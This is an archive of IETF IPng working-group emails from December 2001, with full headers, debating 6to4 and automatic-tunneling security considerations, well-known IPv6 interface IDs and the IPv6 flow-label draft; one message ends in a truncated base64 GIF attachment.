"Fred L. Templin" , Vladislav Yasevich , , Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: <3C231572.7C59091F@hursley.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Fri, 21 Dec 2001, Brian E Carpenter wrote: > Pekka Savola wrote: > > This is getting too implementation-specific, so I guess we had better kill > > this thread, at least from here... > > In fact, it would be a fundamental error to make protocol choices on the > basis of perceived implementation glitches in today's popular operating > systems. If we do the "right thing", one of these days the o/s will > catch up. My gripe with 6to4 is that it doesn't discuss the security issues properly. Everything about security is basically written (rather concisely), in security considerations, like sugar coating on a cake. IMO, this is the wrong approach. Security precautions should be discussed and handled all the way through the specification (as with Shipworm), and in security considerations, a summary and remainder threats discussed. Remainder threats are not covered there. A few points from along the course of this thread: - 6to4 does not require the checks and the threats are partially downplayed - automatic tunneling does not discuss the checks even that much - issues with multiple use of configured/autotunnel/6to4/... on the same box is not covered AFAIK anywhere - should autotunnel be deprecated in a more official fashion? > That doesn't deny the value of informational documents about today's > implementation issues, especially security threats. This is what my draft was/is partially meant to be; from my perspective (I looked at Linux and KAME) it appeared that the checks had been implemented only partially or not at all. Perhaps partly because they may not have been understood to be important, or were difficult to implement because of the problem with multiple mechanisms. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 05:27:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLDRhZR001034 for ; Fri, 21 Dec 2001 05:27:43 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLDRh0d001033 for ipng-dist; Fri, 21 Dec 2001 05:27:43 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLDReZR001026; Fri, 21 Dec 2001 05:27:40 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA24773; Fri, 21 Dec 2001 05:27:41 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA02078; Fri, 21 Dec 2001 06:28:27 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBLDRMO25769; Fri, 21 Dec 2001 15:27:22 +0200 Date: Fri, 21 Dec 2001 15:27:22 +0200 (EET) From: Pekka Savola To: Francis Dupont cc: Ole Troan , Tony Hain , Vladislav Yasevich , , Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-Reply-To: <200112211246.fBLCkSD68525@givry.rennes.enst-bretagne.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Fri, 21 Dec 2001, Francis Dupont wrote: > > => be serious, autotunnels are phased out, configured tunnels and 6to4 > > are mutually exclusive... > > mutually exclusive? I don't think so. > > => if you have a configured tunnel you can use native addresses so > you don't need a 6to4 router. They are mutually exclusive in practice site-locals (or even 6to4 /64's, for site-internal tunneling) could used for configured tunneling in the presence of 6to4 :-). Relays are a difficult issue which IMO much less understandable. The issue is more about mutual exclusivity of autotunnel and 6to4, on which I don't agree with your view.. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 05:28:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLDSbZR001072 for ; Fri, 21 Dec 2001 05:28:37 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLDSbt3001071 for ipng-dist; Fri, 21 Dec 2001 05:28:37 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLDSXZR001064 for ; Fri, 21 Dec 2001 05:28:33 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA20668 for ; Fri, 21 Dec 2001 05:28:35 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA22415 for ; Fri, 21 Dec 2001 05:28:33 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBLDSTI02794; Fri, 21 Dec 2001 14:28:29 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id OAA06429; Fri, 21 Dec 2001 14:28:30 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBLDSTD68826; Fri, 21 Dec 2001 14:28:29 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112211328.fBLDSTD68826@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Tony Hain" cc: ipng@sunroof.eng.sun.com Subject: Re: well-known Interface IDs In-reply-to: Your message of Thu, 20 Dec 2001 08:52:20 PST. Date: Fri, 21 Dec 2001 14:28:29 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: > About your proposal, if we set the globally unique bit on, > you get IIDs > which are no more globally unique. If it is off, this won't avoid > collision... The only advantage is the clarity, i.e. last argument. The state of the bit is not the determining value in uniqueness, => hum, the bit is global/local scope and last address architecture draft speaks about uniqueness... so I believe the bit should be set to local like it is for ISATAP. => I agree but in this case collisions won't be avoided by construction. They would still be as unique as any other IANA registered value. => I don't understand your argument... or do you say that they'd still be as unique as the ::1 address for instance? Matt Crawford wrote: > Which would be :0200:5eXX:XXYY:YYYY in IPv6 interface id > form. The XXXX portion need not be equal to fffe (but should not be > ffff). I agree it should not be ffff or fffe, but would set the u/l bit off. If they need to exist we should stick them in 0000:5eff:fdyy:yyyy. Again, I have not been convinced there is any value in defining well known host addresses (anycast prefixes yes, hosts no). => this is another argument... I'd like to get the answer from DNS/SLP discovery people (with DNS or SLP all other services can be discovered so well-known addresses are not needed, i.e. the problem stands only for the very first step). Regards Francis.Dupont@enst-bretagne.fr PS: can I say in the HIP mailing list that DNS/SLP should be used in place of a reserved/pre-allocated/well-known set of IIDs? It seems we can reach a consensus about this specific question, i.e. send objections to me or (better) the mailing list ASAP. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 05:43:53 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLDhqZR001152 for ; Fri, 21 Dec 2001 05:43:53 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLDhqnL001151 for ipng-dist; Fri, 21 Dec 2001 05:43:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLDhnZR001144 for ; Fri, 21 Dec 2001 05:43:49 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA26474 for ; Fri, 21 Dec 2001 05:43:51 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA25760 for ; Fri, 21 Dec 2001 06:43:46 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBLDheI04546; Fri, 21 Dec 2001 14:43:40 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id OAA06745; Fri, 21 Dec 2001 14:43:40 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBLDhdD68929; Fri, 21 Dec 2001 14:43:39 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112211343.fBLDhdD68929@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Tony Hain" cc: "Margaret Wasserman" , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-reply-to: Your message of Thu, 20 Dec 2001 09:36:16 PST. Date: Fri, 21 Dec 2001 14:43:39 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: I think the group is converging on modifing that text to: Hosts or routers => Nodes ? that do not support the functions of the Flow Label field are required to set the field to zero when originating a packet, and ignore the field when receiving a packet. All routers are required to pass the field on unchanged when forwarding a packet. => same objection: the zero value should not be immutable. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 06:04:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLE4gZR001189 for ; Fri, 21 Dec 2001 06:04:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLE4gcl001188 for ipng-dist; Fri, 21 Dec 2001 06:04:42 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLE4cZR001181 for ; Fri, 21 Dec 2001 06:04:38 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA28946 for ; Fri, 21 Dec 2001 06:04:40 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA09684 for ; Fri, 21 Dec 2001 07:04:39 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBLE3vI07059; Fri, 21 Dec 2001 15:03:57 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id PAA07057; Fri, 21 Dec 2001 15:03:58 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBLE3vD69005; Fri, 21 Dec 2001 15:03:57 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112211403.fBLE3vD69005@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Michael Thomas cc: jarno.rajahalme@nokia.com, kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-reply-to: Your message of Thu, 20 Dec 2001 10:09:53 PST. <15394.10609.81896.412496@thomasm-u1.cisco.com> Date: Fri, 21 Dec 2001 15:03:57 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: I'm afraid this brings us back to the slippery slope of edge-remarkers and the layer violation of routers wanting to look at L4+ headers, and the inherent difficulty/impossibility. => I agree I don't like this but this is a fact. BTW if the XXXServ is not for free, I am afraid that this (and similar tools like security gateways) is needed in order to keep a reasonable control... Please, let's not go there again. => I may not throw away a vendor of a well-known router company when he proposes to use a "transparent proxy"... Until all boxes will be NextToComeServ capable as my BSD boxes, we have to bear far worse than managing XXXServ or/and any other advanced function at the first router. Regards Francis.Dupont@enst-bretagne.fr PS: AH is useful, for instance if AH was used with all the tunneling stuff under FUD in another thread of this list, the answer would be so simple! -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 06:07:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLE72ZR001206 for ; Fri, 21 Dec 2001 06:07:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLE72Lw001205 for ipng-dist; Fri, 21 Dec 2001 06:07:02 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLE6xZR001198 for ; Fri, 21 Dec 2001 06:06:59 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA03910 for ; Fri, 21 Dec 2001 06:07:01 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA18727 for ; Fri, 21 Dec 2001 06:07:00 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBLE6VI07448; Fri, 21 Dec 2001 15:06:32 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id PAA07111; Fri, 21 Dec 2001 15:06:32 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBLE6VD69030; Fri, 21 Dec 2001 15:06:31 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112211406.fBLE6VD69030@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Michael Thomas cc: jarno.rajahalme@nokia.com, kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-reply-to: Your message of Thu, 20 Dec 2001 10:22:50 PST. <15394.11386.760589.416606@thomasm-u1.cisco.com> Date: Fri, 21 Dec 2001 15:06:31 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: So here's the end-game for the flow label allowing for dumb hosts/smart routers: MIDCOM. Can we just say no? => right fight, wrong forum... Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 06:14:32 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLEEWZR001240 for ; Fri, 21 Dec 2001 06:14:32 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLEEWBn001239 for ipng-dist; Fri, 21 Dec 2001 06:14:32 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLEESZR001232 for ; Fri, 21 Dec 2001 06:14:28 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA26237 for ; Fri, 21 Dec 2001 06:14:30 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id GAA21106 for ; Fri, 21 Dec 2001 06:14:30 -0800 (PST) Received: from IPv16 (as1b-67.chi.il.dial.anet.com [198.92.157.67]) by zeus.anet-chi.com (8.12.1/8.12.0) with SMTP id fBLECDj5020498; Fri, 21 Dec 2001 08:12:14 -0600 (CST) Message-ID: <006801c18a2b$7208f120$1000a8c0@Unir.com> From: "Jim Fleming" To: "Francis Dupont" , "Michael Thomas" Cc: , , , References: <200112211403.fBLE3vD69005@givry.rennes.enst-bretagne.fr> Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 08:26:11 -0600 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0065_01C189F9.25EDFBA0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0065_01C189F9.25EDFBA0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Just a reminder, people claim that 80% of all IP-based equipment is never connected directly to "THE Internet"....whatever THE is... Jim Fleming http://www.RepliGate.net ----- Original Message ----- From: "Francis Dupont" To: "Michael Thomas" Cc: ; ; ; Sent: Friday, December 21, 2001 8:03 AM Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > In your previous mail you wrote: > > I'm afraid this brings us back to the slippery slope > of edge-remarkers and the layer violation of routers > wanting to look at L4+ headers, and the inherent > difficulty/impossibility. > > => I agree I don't like this but this is a fact. > BTW if the XXXServ is not for free, I am afraid that > this (and similar tools like security gateways) is needed > in order to keep a reasonable control... > > Please, let's not go there again. > > => I may not throw away a vendor of a well-known router company > when he proposes to use a "transparent proxy"... Until all boxes > will be NextToComeServ capable as my BSD boxes, we have to > bear far worse than managing XXXServ or/and any other advanced > function at the first router. > > Regards > > Francis.Dupont@enst-bretagne.fr > > PS: AH is useful, for instance if AH was used with all the tunneling > stuff under FUD in another thread of this list, the answer would be > so simple! > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > ------=_NextPart_000_0065_01C189F9.25EDFBA0 Content-Type: image/gif; name="b1684.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="b1684.gif" R0lGODlh1AE8APcAADYuOgwEzgkJ1CkhzhAM1hgI1hgc1iwn1gAE3ggA3hAA3gwM3hAY3hgI3hgQ 3jk51gAA5wAI5wgA5wgI5wgQ5xAA5xAI5xAQ5xQQ5xsS5CEU5ykh3hgh5zEp3ikx3jk53gAA7wAA 9wAA/wAI7wAI9wgA7wgA9wgA/wgI7wgI9xAA7xAA9xAI7xAI9xAQ7xAQ9yEh5xAY9xoY9SkY5ykY 7ykh5ykh9zEp5zEp9zEx5zkp5zkx7zkx9zk590I570o550VCQFJKQ05KUlRUVmVWSG9eUFpXXWNa XmJjZHltXmtrcHtzdgDWGB3eNHd7gmfFeIl4cI6EeYiMhpyOgY2Fj5GSmaSSlKackpuco6mlmLWo mLGppa2trbmtpbevqqnUpEZC2jFu6RyI/y+P+0pG51xi1E5K9WJe83Bz5IyUzpyc53Nz73Zt+YeC 9ZiY85iU/1On/4Sy+qWc75y3+q+t4a2t/63I7LW9/8K4scO9usbGvbX3vcbDyL2998HB+7vQ//8A AP8ICP8QEP8YGP8hIf8pKf8xMf85Of9CQv9KSv9SUv9eXv9ra/9zc/97e/+EhP+MjP+UlP+goP+t rc7Ass7AwOq9tf+9vdbGvc7GxtbGxs7OvdbOvd7Ovc7OxtbOxt5K/95S/+Ri/+d7/++U/++l//Ox //e9/8rOzsrK98rK/87O+9bOzuTRxt7OzuvM89bWzt7WztbW1t7W1srW+87W/9bW99bW/97ezt7e 1ufWzunb0Ofe1u/e1unW7vfW/97e3sb3xtL70tb/3ufe3ufn1uzk2+/n3s7e79be9+Le5+fn5+f/ 5+/n5+/v5+/v797n98be/8bn/87e/87n/9be/9bn/97e/97n/97v/+fe/+fn/+fv/+f3/+/e/+/n /+/v/+/39+/3/+//7+//9+////fn1vfn//fv5/fv7/fv9/fv//f37/f39/f3//f/5/f/7/f/9/f/ ///e3v/e///n5//n///v7//v///37//39//3////5///7///9////ywAAAAA1AE8AAAI/gD/CRxI sKDBgwgTIqwXaZLChwiVYGlGsZkzZ+gyokvHsSNHdiDz6cuXj53Ik/nSUYHIsmVBiRUtYtTo0SNI kyNLnsyp0qVPgvv08esHT1y1WreS1ppWq2k1bODatQsXD56+ff+CDgVXi1a1pGDD3qp1tNY1d/v2 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 